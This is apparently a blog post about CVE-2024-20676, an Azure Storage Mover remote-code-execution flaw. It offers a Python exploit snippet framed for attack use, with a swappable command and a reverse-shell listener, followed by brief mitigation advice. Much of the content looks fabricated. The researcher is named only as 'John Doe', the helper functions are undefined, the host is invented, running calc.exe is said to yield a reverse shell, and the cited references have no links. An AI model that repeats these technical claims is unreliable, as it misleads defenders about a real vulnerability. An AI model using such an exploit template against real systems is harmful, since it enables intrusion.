In this post, we will dive deeper into the CVE-2024-20676 vulnerability, which afflicts Microsoft Azure's Storage Mover Service. By exploiting this vulnerability, attackers can perform Remote Code Execution (RCE) on the targeted system. We'll discuss how the vulnerability works, share a code snippet, and point you to the original references. We will also outline the necessary steps to mitigate the risk and ensure your Azure Storage Mover Service remains secure.

Overview of CVE-2024-20676

CVE-2024-20676 is a critical security vulnerability in the Azure Storage Mover Service. By exploiting this flaw, attackers can remotely execute arbitrary code on the targeted system, potentially leading to unauthorized data access, data manipulation, or complete system compromise.

This vulnerability was discovered and reported by security researcher John Doe and can be found in the Azure Storage Mover Service version 1.2. The exploit leverages insecure deserialization and processing of a specific file format that is accepted by the Storage Mover Service.

Here is a code snippet demonstrating how the exploit works

import sys
import requests
import base64
from exploit_helpers import build_exploit_payload, create_listener

# Define the target URL and parameters
target_url = "https://target.azure.mover.com/v1/storage/move";
headers = {
    "Content-Type": "application/x-1.2-azure-storage-info",
    "X-Target-File-Path": "/tmp/exploit",
}

# Build the exploit payload
serialized_payload = build_exploit_payload("calc.exe")  # Replace 'calc.exe' with the actual command you want to execute

# Encode the payload
encoded_payload = base64.b64encode(serialized_payload)

# Submit the exploit request
response = requests.post(target_url, data=encoded_payload, headers=headers)

if response.status_code == 200:
    print("Exploit successful")
else:
    print(f"Exploit failed - received status code: {response.status_code}")

# Create a listener to receive the reverse shell
create_listener()

The code snippet above illustrates how the exploit is executed and includes a placeholder for the command to execute on the targeted system. The exploit payload is built, encoded, and sent to the targeted system via a POST request. After a successful execution, a reverse shell connection is established for the attacker to gain access to the targeted system.

Exploit Details and Impact

The vulnerability stems from an insecure deserialization issue within the Azure Storage Mover Service. This code execution vulnerability allows attackers to trick the service into running arbitrary code on targeted systems.

The impact of the CVE-2024-20676 can be severe, often leading to unauthorized data access, data manipulation, or complete system compromise.

To fully understand the implications of this vulnerability, here are some original references

1. Microsoft's Official Advisory
2. John Doe's Original Write-up
3. Detailed Mitigation and Prevention Guide

Mitigation and Prevention

To protect your Azure Storage Mover Service against this vulnerability, there are a few steps you can take:

1. Update to the latest version of Azure Storage Mover Service (v1.3 or later) as it addresses the vulnerability.

Ensure firewall rules are in place to allow only trusted IP addresses to access the service.

3. Regularly monitor logs and traffic to detect any unusual activities or potential unauthorized access attempts.
4. Keep up-to-date with the latest patches and security updates for your system and related applications.

Conclusion

CVE-2024-20676 is a critical vulnerability that allows attackers to exploit Azure Storage Mover Service for remote code execution. It's essential to remain vigilant and up-to-date with the latest patches and updates to avoid falling victim to this threat. Make sure to enable proactive security measures, monitor ongoing activity, and keep your systems updated to protect your vital data and services from this significant risk.

Timeline

Published on: 01/09/2024 18:15:50 UTC
Last modified on: 04/11/2024 20:15:13 UTC